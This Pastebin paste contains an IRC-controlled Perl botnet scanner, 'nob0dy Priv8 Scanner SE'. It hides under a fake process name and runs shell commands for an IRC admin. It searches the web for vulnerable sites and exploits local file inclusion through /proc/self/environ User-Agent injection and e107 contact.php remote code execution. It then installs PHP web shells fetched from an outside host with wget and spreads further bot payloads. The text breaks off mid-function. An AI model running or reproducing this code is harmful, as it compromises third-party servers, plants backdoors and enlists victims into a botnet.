Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

Untitled

By: a guest on Jan 10th, 2011  |  syntax: None  |  size: 34.00 KB  |  views: 1,491  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #!/usr/bin/perl
  2.  
  3. # nob0dy Priv8 Scanner SE v1.2
  4. # Coded by Vrs-hCk
  5. # ander[at]antisecurity.org
  6. # Last Edited: Jun 21 2010
  7.  
  8. # How to use:
  9. # perl nob0dy.pl irc.server.net 6667 nick ident chan admin /usr/sbin/fakeproc
  10.  
  11. use HTTP::Request;
  12. use LWP::UserAgent;
  13. use IO::Socket;
  14. use IO::Select;
  15. use Socket;
  16. use MIME::Base64;
  17.  
  18. my $datetime = localtime;
  19.  
  20. my $fakeproc  = $ARGV[6];
  21. $ircserver = $ARGV[0] unless $ircserver;
  22. my $ircport   = $ARGV[1];
  23. my $nickname  = $ARGV[2];
  24. my $ident     = $ARGV[3];
  25. my $channel   = '#'.$ARGV[4];
  26. my $admin     = $ARGV[5];
  27. my $fullname  = "( [F]uc[K] Community )";
  28.  
  29. my $nob0dy    = "15(7@2[F]uc[K]15)";
  30. my $lfilogo   = "15(7@2LFI15)";
  31. my $lfdlogo   = "15(7@2LFD15)";
  32. my $e107logo  = "15(7@2e10715)";
  33.  
  34. my $lficmd    = '!lfi';
  35. my $lfdcmd    = '!lfd';
  36. my $e107cmd   = '!e107';
  37.  
  38. my $injector  = "http://www.pet.com/v01///fff/12/stunshell.txt?";
  39. my $botshell  = "http://www.pet.com/v01///fff/12/attack.txt?";
  40. my $spread    = "http://www.pet.com/v01///fff/12/pl.jpg??";
  41. my $spread2   = "http://www.pet.com/v01///fff/12/prl.jpg??";
  42.  
  43. my $uagent    = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6';
  44. my $lfdtest   = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00";
  45. my $lfdoutput = "root:(.+):(.+):(.+):(.+):(.+):(.+)";
  46.  
  47. if (@ARGV == 7) {
  48.     print "\n[+] nob0dy Priv8 Scanner SE\n".
  49.           "[+] IRC Host    : $ircserver\n".
  50.           "[+] IRC Port    : $ircport\n".
  51.           "[+] Bot Nick    : $nickname\n".
  52.           "[+] Bot Ident   : $ident\n".
  53.           "[+] Channel     : $channel\n".
  54.           "[+] Bot Admin   : $admin\n".
  55.           "[+] Process/PID : $fakeproc - $$\n\n";
  56. }
  57. else {
  58.     print "\n[USAGE] perl $0 irc.server.net 6667 nick ident channel admin /usr/sbin/fakeproc\n\n";
  59.     exit();
  60. }
  61.  
  62. $SIG{'INT'}   = 'IGNORE';
  63. $SIG{'HUP'}   = 'IGNORE';
  64. $SIG{'TERM'}  = 'IGNORE';
  65. $SIG{'CHLD'}  = 'IGNORE';
  66. $SIG{'PS'}    = 'IGNORE';
  67.  
  68. chdir("/");
  69. $ircserver = "$ARGV[0]" if $ARGV[0];
  70. $0 = "$fakeproc"."\0" x 16;
  71. my $pid = fork;
  72. exit if $pid;
  73. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  74.  
  75. our %irc_servers;
  76. our %DCC;
  77. my $dcc_sel = new IO::Select->new();
  78. $sel_client = IO::Select->new();
  79.  
  80. sub sendraw {
  81.     if ($#_ == '1') {
  82.     my $socket = $_[0];
  83.     print $socket "$_[1]\n";
  84.     } else {
  85.         print $IRC_cur_socket "$_[0]\n";
  86.     }
  87. }
  88.  
  89. sub connector {
  90.     my $mynick = $_[0];
  91.     my $ircserver_con = $_[1];
  92.     my $ircport_con = $_[2];
  93.     my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  94.     if (defined($IRC_socket)) {
  95.         $IRC_cur_socket = $IRC_socket;
  96.         $IRC_socket->autoflush(1);
  97.         $sel_client->add($IRC_socket);
  98.         $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  99.         $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  100.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  101.         $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  102.         nick("$mynick");
  103.         sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  104.         sleep 1;
  105.     }
  106. }
  107.  
  108. sub parse {
  109.     my $servarg = shift;
  110.     if ($servarg =~ /^PING \:(.*)/) {
  111.         sendraw("PONG :$1");
  112.     }
  113.     elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  114.         if (lc($1) eq lc($mynick)) {
  115.             $mynick = $4;
  116.             $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  117.         }
  118.     }
  119.     elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  120.         nick("$mynick".int rand(999));
  121.     }
  122.     elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  123.         $mynick = $2;
  124.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  125.         $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  126.         sendraw("MODE $mynick +Bx");
  127.         sendraw("JOIN $channel");
  128.         sleep(1);
  129.         sendraw("PRIVMSG $channel :Hosted by: Midnightcr3w - Private ScanneR");
  130.         sendraw("PRIVMSG $admin :Hi $admin im here !!!");
  131.     }
  132. }
  133.  
  134. my $line_temp;
  135. while( 1 ) {
  136.     while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
  137.     delete($irc_servers{''}) if (defined($irc_servers{''}));
  138.     my @ready = $sel_client->can_read(0);
  139.     next unless(@ready);
  140.     foreach $fh (@ready) {
  141.         $IRC_cur_socket = $fh;
  142.         $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  143.         $nread = sysread($fh, $ircmsg, 4096);
  144.         if ($nread == 0) {
  145.             $sel_client->remove($fh);
  146.             $fh->close;
  147.             delete($irc_servers{$fh});
  148.         }
  149.         @lines = split (/\n/, $ircmsg);
  150.         $ircmsg =~ s/\r\n$//;
  151.  
  152.         if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  153.             my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  154.             if ($path eq $mynick) {
  155.                 if ($msg =~ /^PING (.*)/) {
  156.                     sendraw("NOTICE $nick :PING $1");
  157.                 }
  158.                 if ($msg =~ /^VERSION/) {
  159.                     sendraw("NOTICE $nick :VERSION mIRC ScaNNeR By FitRah");
  160.                 }
  161.                 if ($msg =~ /^TIME/) {
  162.                     sendraw("NOTICE $nick :TIME ".$datetime."");
  163.                 }
  164.                 if (&isAdmin($nick) && $msg eq "!die") {
  165.                     &shell("$path","kill -9 $$");
  166.                 }
  167.                 if (&isAdmin($nick) && $msg eq "!killall") {
  168.                     &shell("$path","killall -9 perl");
  169.                 }
  170.                 if (&isAdmin($nick) && $msg eq "!reset") {
  171.                     sendraw("QUIT :Restarting...");
  172.                 }
  173.                 if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  174.                     sendraw("JOIN #".$1);
  175.                 }
  176.                 if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  177.                     sendraw("PART #".$1);
  178.                 }
  179.                 if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  180.                     sendraw("NICK ".$1);
  181.                 }
  182.                 if (&isAdmin($nick) && $msg =~ /^!pid/) {
  183.                     sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
  184.                 }
  185.                 if (&isAdmin($nick) && $msg !~ /^!/) {
  186.                     &shell("$nick","$msg");
  187.                 }
  188.             }
  189.             else {
  190.                 if (&isAdmin($nick) && $msg eq "!die") {
  191.                     &shell("$path","kill -9 $$");
  192.                 }
  193.                 if (&isAdmin($nick) && $msg eq "!killall") {
  194.                     &shell("$path","killall -9 perl");
  195.                 }
  196.                 if (&isAdmin($nick) && $msg eq "!reset") {
  197.                     sendraw("QUIT :Restarting...");
  198.                 }
  199.                 if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  200.                     sendraw("JOIN #".$1);
  201.                 }
  202.                 if (&isAdmin($nick) && $msg eq "!part") {
  203.                     sendraw("PART $path");
  204.                 }
  205.                 if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  206.                     sendraw("PART #".$1);
  207.                 }
  208.                 if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  209.                     &shell("$path","$1");
  210.                 }
  211.                 if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
  212.                     &shell("$path","$1");
  213.                 }
  214.  
  215.                 ##################################################################### HELP COMMAND
  216.  
  217.                 if ($msg=~ /^!help/) {
  218.                     my $helplogo = "15(7@2Help15)";
  219.                     &notice("$nick","$helplogo 12LFI Vuln Scan:6 $lficmd [bug] [dork]");
  220.                     &notice("$nick","$helplogo 12LFD Vuln Scan:6 $lfdcmd [bug] [dork]");
  221.                     &notice("$nick","$helplogo 12e107 Vuln Scan:6 $e107cmd [bug] [dork]");
  222.                 }
  223.                 if ($msg=~ /^!response/ || $msg=~ /^!id/) {
  224.                     if (&isFound($injector,"FJ3XiuRZulJfcu7mB13")) {
  225.                         &notice("$nick","15(7@2Injector15)6 PHP Shell is 3UP");
  226.                     } else {
  227.                         &notice("$nick","15(7@2Injector15)6 PHP Shell is 4Down");
  228.                     }
  229.                 }
  230.                 if (&isAdmin($nick) && $msg =~ /^!pid/) {
  231.                     &notice("$nick","6Fake Process/PID : $fakeproc - $$");
  232.                 }
  233.  
  234.                 ##################################################################### LFD SCAN
  235.  
  236.                 if ($msg=~ /^$lfdcmd\s+(.+?)\s+(.*)/) {
  237.                     if (my $pid = fork) {
  238.                         waitpid($pid, 0);
  239.                     }
  240.                     else {
  241.                         if (fork) { exit; } else {
  242.                             my ($bug,$dork) = ($1,$2);
  243.                             &msg("$path","$lfdlogo 12Dork :4 $dork");
  244.                             &msg("$path","$lfdlogo 12Bugz :4 $bug");
  245.                             &msg("$path","$lfdlogo 6Search Engine Loading ...");
  246.                             &lfd_start($path,$bug,$dork,"GooGLe,AllTheWeb,Bing,ALtaViSTa,AsK,UoL,YahOo");
  247.                         }
  248.                         exit;
  249.                     }
  250.                 }
  251.  
  252.                 ##################################################################### LFIRCE SCAN
  253.  
  254.                 if ($msg=~ /^$lficmd\s+(.+?)\s+(.*)/) {
  255.                     if (my $pid = fork) {
  256.                         waitpid($pid, 0);
  257.                     }
  258.                     else {
  259.                         if (fork) { exit; } else {
  260.                             if (&isFound($injector,"FJ3XiuRZulJfcu7mB13")) {
  261.                                 my ($bug,$dork) = ($1,$2);
  262.                                 &msg("$path","$lfilogo 12Dork :4 $dork");
  263.                                 &msg("$path","$lfilogo 12Bugz :4 $bug");
  264.                                 &msg("$path","$lfilogo 6Search Engine Loading ...");
  265.                                 &lfi_start($path,$bug,$dork,"GooGLe,AllTheWeb,Bing,ALtaViSTa,AsK,UoL,YahOo");
  266.                             } else {
  267.                                 &msg("$path","[ $nick ] $lfilogo 4PHP Shell is Down!");
  268.                             }
  269.                         }
  270.                         exit;
  271.                     }
  272.                 }
  273.  
  274.                 ##################################################################### e107 contact.php SCAN
  275.  
  276.                 if ($msg=~ /^$e107cmd\s+(.+?)\s+(.*)/) {
  277.                     if (my $pid = fork) {
  278.                         waitpid($pid, 0);
  279.                     }
  280.                     else {
  281.                         if (fork) { exit; } else {
  282.                             if (&isFound($injector,"FJ3XiuRZulJfcu7mB13")) {
  283.                                 my ($bug,$dork) = ($1,$2);
  284.                                 &msg("$path","$e107logo 12Dork :4 $dork");
  285.                                 &msg("$path","$e107logo 12Bugz :4 $bug");
  286.                                 &msg("$path","$e107logo 6Search Engine Loading ...");
  287.                                 &e107_start($path,$bug,$dork,"GooGLe,AllTheWeb,Bing,ALtaViSTa,AsK,UoL,YahOo");
  288.                             } else {
  289.                                 &msg("$path","[ $nick ] $e107logo 4PHP Shell is Down!");
  290.                             }
  291.                         }
  292.                         exit;
  293.                     }
  294.                 }
  295.  
  296.                 #####################################################################
  297.  
  298.             }
  299.         }
  300.  
  301.         for(my $c=0; $c<= $#lines; $c++) {
  302.             $line = $lines[$c];
  303.             $line = $line_temp.$line if ($line_temp);
  304.             $line_temp = '';
  305.             $line =~ s/\r$//;
  306.             unless ($c == $#lines) {
  307.                 parse("$line");
  308.             } else {
  309.                 if ($#lines == 0) {
  310.                     parse("$line");
  311.                 } elsif ($lines[$c] =~ /\r$/) {
  312.                     parse("$line");
  313.                 } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  314.                     parse("$line");
  315.                 } else {
  316.                     $line_temp = $line;
  317.                 }
  318.             }
  319.         }
  320.     }
  321. }
  322.  
  323. #########################################
  324.  
  325. sub lfd_start() {
  326.     my $chan = $_[0];
  327.     my $bug = $_[1];
  328.     my $dork = $_[2];
  329.     my $engine = $_[3];
  330.     if ($engine =~ /google/i) {
  331.         if (my $pid = fork) { waitpid($pid, 0); }
  332.         else { if (fork) { exit; } else {
  333.             &lfd($chan,$bug,$dork,"GooGLe");
  334.         } exit; }
  335.     }
  336.     if ($engine =~ /alltheweb/i) {
  337.         if (my $pid = fork) { waitpid($pid, 0); }
  338.         else { if (fork) { exit; } else {
  339.             &lfd($chan,$bug,$dork,"AllTheWeb");
  340.         } exit; }
  341.     }
  342.     if ($engine =~ /bing/i) {
  343.         if (my $pid = fork) { waitpid($pid, 0); }
  344.         else { if (fork) { exit; } else {
  345.             &lfd($chan,$bug,$dork,"Bing");
  346.         } exit; }
  347.     }
  348.     if ($engine =~ /altavista/i) {
  349.         if (my $pid = fork) { waitpid($pid, 0); }
  350.         else { if (fork) { exit; } else {
  351.             &lfd($chan,$bug,$dork,"ALtaViSTa");
  352.         } exit; }
  353.     }
  354.     if ($engine =~ /ask/i) {
  355.         if (my $pid = fork) { waitpid($pid, 0); }
  356.         else { if (fork) { exit; } else {
  357.             &lfd($chan,$bug,$dork,"AsK");
  358.         } exit; }
  359.     }
  360.     if ($engine =~ /uol/i) {
  361.         if (my $pid = fork) { waitpid($pid, 0); }
  362.         else { if (fork) { exit; } else {
  363.             &lfd($chan,$bug,$dork,"UoL");
  364.         } exit; }
  365.     }
  366.     if ($engine =~ /yahoo/i) {
  367.         if (my $pid = fork) { waitpid($pid, 0); }
  368.         else { if (fork) { exit; } else {
  369.             &lfd($chan,$bug,$dork,"YahOo");
  370.         } exit; }
  371.     }
  372. }
  373.  
  374. sub lfi_start() {
  375.     my $chan = $_[0];
  376.     my $bug = $_[1];
  377.     my $dork = $_[2];
  378.     my $engine = $_[3];
  379.     if ($engine =~ /google/i) {
  380.         if (my $pid = fork) { waitpid($pid, 0); }
  381.         else { if (fork) { exit; } else {
  382.             &lfi($chan,$bug,$dork,"GooGLe");
  383.         } exit; }
  384.     }
  385.     if ($engine =~ /alltheweb/i) {
  386.         if (my $pid = fork) { waitpid($pid, 0); }
  387.         else { if (fork) { exit; } else {
  388.             &lfi($chan,$bug,$dork,"AllTheWeb");
  389.         } exit; }
  390.     }
  391.     if ($engine =~ /bing/i) {
  392.         if (my $pid = fork) { waitpid($pid, 0); }
  393.         else { if (fork) { exit; } else {
  394.             &lfi($chan,$bug,$dork,"Bing");
  395.         } exit; }
  396.     }
  397.     if ($engine =~ /altavista/i) {
  398.         if (my $pid = fork) { waitpid($pid, 0); }
  399.         else { if (fork) { exit; } else {
  400.             &lfi($chan,$bug,$dork,"ALtaViSTa");
  401.         } exit; }
  402.     }
  403.     if ($engine =~ /ask/i) {
  404.         if (my $pid = fork) { waitpid($pid, 0); }
  405.         else { if (fork) { exit; } else {
  406.             &lfi($chan,$bug,$dork,"AsK");
  407.         } exit; }
  408.     }
  409.     if ($engine =~ /uol/i) {
  410.         if (my $pid = fork) { waitpid($pid, 0); }
  411.         else { if (fork) { exit; } else {
  412.             &lfi($chan,$bug,$dork,"UoL");
  413.         } exit; }
  414.     }
  415.     if ($engine =~ /yahoo/i) {
  416.         if (my $pid = fork) { waitpid($pid, 0); }
  417.         else { if (fork) { exit; } else {
  418.             &lfi($chan,$bug,$dork,"YahOo");
  419.         } exit; }
  420.     }
  421. }
  422.  
  423. sub e107_start() {
  424.     my $chan = $_[0];
  425.     my $bug = $_[1];
  426.     my $dork = $_[2];
  427.     my $engine = $_[3];
  428.     if ($engine =~ /google/i) {
  429.         if (my $pid = fork) { waitpid($pid, 0); }
  430.         else { if (fork) { exit; } else {
  431.             &e107($chan,$bug,$dork,"GooGLe");
  432.         } exit; }
  433.     }
  434.     if ($engine =~ /alltheweb/i) {
  435.         if (my $pid = fork) { waitpid($pid, 0); }
  436.         else { if (fork) { exit; } else {
  437.             &e107($chan,$bug,$dork,"AllTheWeb");
  438.         } exit; }
  439.     }
  440.     if ($engine =~ /bing/i) {
  441.         if (my $pid = fork) { waitpid($pid, 0); }
  442.         else { if (fork) { exit; } else {
  443.             &e107($chan,$bug,$dork,"Bing");
  444.         } exit; }
  445.     }
  446.     if ($engine =~ /altavista/i) {
  447.         if (my $pid = fork) { waitpid($pid, 0); }
  448.         else { if (fork) { exit; } else {
  449.             &e107($chan,$bug,$dork,"ALtaViSTa");
  450.         } exit; }
  451.     }
  452.     if ($engine =~ /ask/i) {
  453.         if (my $pid = fork) { waitpid($pid, 0); }
  454.         else { if (fork) { exit; } else {
  455.             &e107($chan,$bug,$dork,"AsK");
  456.         } exit; }
  457.     }
  458.     if ($engine =~ /uol/i) {
  459.         if (my $pid = fork) { waitpid($pid, 0); }
  460.         else { if (fork) { exit; } else {
  461.             &e107($chan,$bug,$dork,"UoL");
  462.         } exit; }
  463.     }
  464.     if ($engine =~ /yahoo/i) {
  465.         if (my $pid = fork) { waitpid($pid, 0); }
  466.         else { if (fork) { exit; } else {
  467.             &e107($chan,$bug,$dork,"YahOo");
  468.         } exit; }
  469.     }
  470. }
  471.  
  472. #########################################
  473.  
  474. sub lfd() {
  475.     my $chan = $_[0];
  476.     my $bug = $_[1];
  477.     my $dork = $_[2];
  478.     my $engine = $_[3];
  479.     my $count = 0;
  480.     my @list = search_engine($chan,$bug,$dork,$engine,$lfdlogo);
  481.     my $num = scalar(@list);
  482.     if ($num > 0) {
  483.         foreach my $site (@list) {
  484.             $count++;
  485.             if ($count == $num-1) { &msg("$chan","$lfdlogo(7@2$engine15)10 Scan finish for14 $dork"); }
  486.             my $test = "http://".$site.$bug.$lfdtest;
  487.             my $vuln = "http://".$site."12".$bug."6".$lfdtest;
  488.             my $html = get_content($test);
  489.             if ($html =~ /$lfdoutput/) {
  490.                 &msg("$chan","$lfdlogo(7@2$engine15)15(13@12Vuln15)4 ".$vuln." $nob0dy");
  491.                 sleep(3);
  492.             }
  493.         }
  494.     }
  495. }
  496.  
  497. sub lfi() {
  498.     my $chan = $_[0];
  499.     my $bug = $_[1];
  500.     my $dork = $_[2];
  501.     my $engine = $_[3];
  502.     my $count = 0;
  503.     my @list = search_engine($chan,$bug,$dork,$engine,$lfilogo);
  504.     my $num = scalar(@list);
  505.     if ($num > 0) {
  506.         foreach my $site (@list) {
  507.             $count++;
  508.             if ($count == $num-1) { &msg("$chan","$lfilogo(7@2$engine15)10 Scan finish for14 $dork"); }
  509.             my $dir = "../../../../../../../../../../../../../../../../../../../../../../../../";
  510.             my $test = "http://".$site.$bug.$dir."/proc/self/environ%0000";
  511.             my $vuln = "http://".$site."12".$bug."6".$dir."7/proc/self/environ%0000";
  512.             my $shell = "http://".$site."12".$bug."6".$dir."7/tmp/x-treme%0000";
  513.             my $html = get_content($test);
  514.             if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT=/) {
  515.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  516.                     my $code = 'echo "c0li#".php_uname()."#c0li"; if(@copy("'.$injector.'","/tmp/x-treme")) { echo "SUCCESS"; }';
  517.                     my $res = lfi_env_query($test,encode_base64($code));
  518.                     &lfi_spread_query($test);
  519.                     $res =~ s/\n//g;
  520.                     if ($res =~ /c0li#(.*)#c0liSUCCESS/sg) {
  521.                         my $sys = $1;
  522.                         &msg("$chan","$lfilogo(7@2$engine15)15(13@12X-SHell15)4 ".$shell." 15(7@3".$sys."15)$nob0dy");
  523.                         sleep(4);
  524.                     }
  525.                     elsif ($res =~ /c0li#(.*)#c0li/sg) {
  526.                         if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  527.                             my $sys = $1;
  528.                             my $upload = 'system("wget '.$injector.' -O /tmp/x-treme");';
  529.                             my $wget = lfi_env_query($test,encode_base64($upload)); sleep(1);
  530.                             my $check = get_content("http://".$site.$bug.$dir."/tmp/x-treme%0000"); sleep(1);
  531.                             if ($check =~ /Hacked by Vrs-hCk/) {
  532.                                 &msg("$chan","$lfilogo(7@2$engine15)15(13@12X-SHeLL15)4 ".$shell." 15(7@3".$sys."15)$nob0dy");
  533.                                 sleep(4);
  534.                             }
  535.                             else {
  536.                                 &msg("$chan","$lfilogo(7@2$engine15)15(13@12SysTem15)4 ".$vuln." 15(7@3".$sys."15)$nob0dy");
  537.                                 sleep(4);
  538.                             }
  539.                         } exit; }
  540.                     }
  541.                     else { &msg("$chan","$lfilogo(7@2$engine15)15(13@12EnviRon15)4 ".$vuln." $nob0dy"); }
  542.                 } exit; } sleep(3);
  543.             }
  544.         }
  545.     }
  546. }
  547.  
  548. sub e107() {
  549.     my $chan = $_[0];
  550.     my $bug = $_[1];
  551.     my $dork = $_[2];
  552.     my $engine = $_[3];
  553.     my $count = 0;
  554.     my @list = search_engine($chan,$bug,$dork,$engine,$e107logo);
  555.     my $num = scalar(@list);
  556.     if ($num > 0) {
  557.         foreach my $site (@list) {
  558.             $count++;
  559.             if ($count == $num-1) { &msg("$chan","$e107logo(7@2$engine15)10 Scan finish for14 $dork"); }
  560.             my $test = "http://".$site.$bug;
  561.             my $code = "ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGNtZD0iZWNobyBub2IwZHlDcjN3IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7DQplY2hvICRlc2VndWljbWQ7DQpmdW5jdGlvbiBleCgkY2ZlKXsNCiRyZXMgPSAnJzsNCmlmICghZW1wdHkoJGNmZSkpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpew0KQGV4ZWMoJGNmZSwkcmVzKTsNCiRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpew0KJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpew0KQG9iX3N0YXJ0KCk7DQpAc3lzdGVtKCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpew0KQG9iX3N0YXJ0KCk7DQpAcGFzc3RocnUoJGNmZSk7DQokcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKXsNCiRyZXMgPSAiIjsNCndoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ==";
  562.             my $html = e107_rce_query($test,$code);
  563.             if ($html =~ /v0pCr3w<br>sys:(.+?)<br>nob0dyCr3w/) {
  564.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  565.                     my $sys = $1;
  566.                     my $upload = 'if(@copy("'.$injector.'","connect.php")) { echo "c0liSUKSESc0li"; }';
  567.                     my $res = e107_rce_query($test,encode_base64($upload));
  568.                     if ($res =~ /c0liSUKSESc0li/) {
  569.                         &msg("$chan","$e107logo(7@2$engine15)15(13@12e107-SheLL15)10 http://".$site."12version.php 15(7@3".$sys."15)(7@12safemode-off15)");
  570. &msg("ScanneD","$e107logo(7@2$engine15)15(13@12e107-SheLL15)10 http://".$site."12version.php 15(7@3".$sys."15)(7@12safemode-off15)");
  571.                         sleep(5);
  572.                     }
  573.                     else {
  574.                         &msg("$chan","$e107logo(7@2$engine15)15(13@12Vuln15)10 ".$test." 15(7@3".$sys."15)(7@12safemode-off15)");
  575.  
  576.                         sleep(5);
  577.                     }
  578.                     &e107_spread_query($test);
  579.                     sleep(2);
  580.                 } exit; } sleep(5);
  581.             }
  582.             elsif ($html =~ /v0pCr3w<br>sys:(.+?)<br>/) {
  583.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  584.                     my $sys = $1;
  585.                     my $upload = 'if(@copy("'.$injector.'","connect.php")) { echo "c0liSUKSESc0li"; }';
  586.                     my $res = e107_rce_query($test,encode_base64($upload));
  587.                     if ($res =~ /c0liSUKSESc0li/) {
  588.                         &msg("$chan","$e107logo(7@2$engine15)15(13@12e107-SheLL15)10 http://".$site."12version.php 15(7@3".$sys."15)(7@4safemode-on15)");
  589.                         sleep(5);
  590.                     }
  591.                     else {
  592.                         &msg("$chan","$e107logo(7@2$engine15)15(13@12Vuln15)10 ".$test." 15(7@3".$sys."15)(7@4safemode-on15)");
  593.                         sleep(5);
  594.                     }
  595.                 } exit; } sleep(5);
  596.             }
  597.         }
  598.     }
  599. }
  600.  
  601. #########################################
  602.  
  603. sub search_engine() {
  604.     my (@total,@clean);
  605.     my $chan = $_[0];
  606.     my $bug = $_[1];
  607.     my $dork = $_[2];
  608.     my $engine = $_[3];
  609.     my $logo = $_[4];
  610.     if ($engine eq "GooGLe") { my @google = google($dork); push(@total,@google); }
  611.     if ($engine eq "AllTheWeb") { my @alltheweb = alltheweb($dork); push(@total,@alltheweb); }
  612.     if ($engine eq "Bing") { my @bing = bing($dork); push(@total,@bing); }
  613.     if ($engine eq "ALtaViSTa") { my @altavista = altavista($dork); push(@total,@altavista); }
  614.     if ($engine eq "AsK") { my @ask = ask($dork); push(@total,@ask); }
  615.     if ($engine eq "UoL") { my @uol = uol($dork); push(@total,@uol); }
  616.     if ($engine eq "YahOo") { my @yahoo = yahoo($dork); push(@total,@yahoo); }
  617.     @clean = clean(@total);
  618.     &msg("$chan","$logo(7@2$engine15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");
  619.     return @clean;
  620. }
  621.  
  622. #########################################
  623.  
  624. sub rfi_os() {
  625.     my $sys = "";
  626.     my $url = $_[0];
  627.     my $chk = get_content($url);
  628.     if ($chk =~ /<br>sys:(.+?)<br>/sg) { $sys = $1; }
  629.     return $sys;
  630. }
  631.  
  632. sub rce_os() {
  633.     my $sys = "";
  634.     my $url = $_[0];
  635.     my $chk = get_content($url);
  636.     $chk =~ s/\n//;
  637.     if ($chk =~ /999(.*)666/sg) { $sys = $1; }
  638.     return $sys;
  639. }
  640.  
  641. sub isFound() {
  642.     my $status = 0;
  643.     my $link = $_[0];
  644.     my $reqexp = $_[1];
  645.     my $res = get_content($link);
  646.     if ($res =~ /$reqexp/) { $status = 1 }
  647.     return $status;
  648. }
  649.  
  650. sub get_content() {
  651.     my $url = $_[0];
  652.     my $ua = LWP::UserAgent->new(agent => $uagent);
  653.     $ua->timeout(10);
  654.     my $req = HTTP::Request->new(GET => $url);
  655.     my $res = $ua->request($req);
  656.     return $res->content;
  657. }
  658.  
  659. sub lfi_env_query() {
  660.     my $url = $_[0];
  661.     my $code = $_[1];
  662.     my $ua = LWP::UserAgent->new(agent => "<?eval(base64_decode('".$code."'));?>");
  663.     $ua->timeout(10);
  664.     my $req = HTTP::Request->new(GET => $url);
  665.     my $res = $ua->request($req);
  666.     return $res->content;
  667. }
  668.  
  669. sub lfi_spread_query() {
  670.     my $url = $_[0];
  671.     my $botnick = 'x-bot['.(int rand(6666)).']';
  672.     my $botchan = $channel;
  673.     $botchan =~ s/\#//;
  674.     my $code = "system('cd /tmp;rm -rf apache;cd /tmp;wget $botshell -O apache;perl bottolo.txt jakarta.byroe.net 6667 [bot] FucK opensource djkoock /usr/sbin/httpd;cd /tmp;wget $spread -O fvck;perl fvck;perl fvck;perl fvck;cd /tmp;wget $spread2 -O sp;php sp;php sp');";
  675.     my $ua = LWP::UserAgent->new(agent => "<?eval(base64_decode('".encode_base64($code)."'));?>");
  676.     $ua->timeout(5);
  677.     my $req = HTTP::Request->new(GET => $url);
  678.     my $res = $ua->request($req);
  679. }
  680.  
  681. sub e107_rce_query() {
  682.     my $url = $_[0];
  683.     my $code = $_[1];
  684.     my $req = HTTP::Request->new(POST => $url);
  685.     $req->content_type('application/x-www-form-urlencoded');
  686.     $req->content("send-contactus=1&author_name=[php]eval(base64_decode('".$code."'));die;[/php]");
  687.     my $ua = LWP::UserAgent->new(agent => $uagent);
  688.     $ua->timeout(10);
  689.     my $res = $ua->request($req);
  690.     return $res->content;
  691. }
  692.  
  693. sub e107_spread_query() {
  694.     my $url = $_[0];
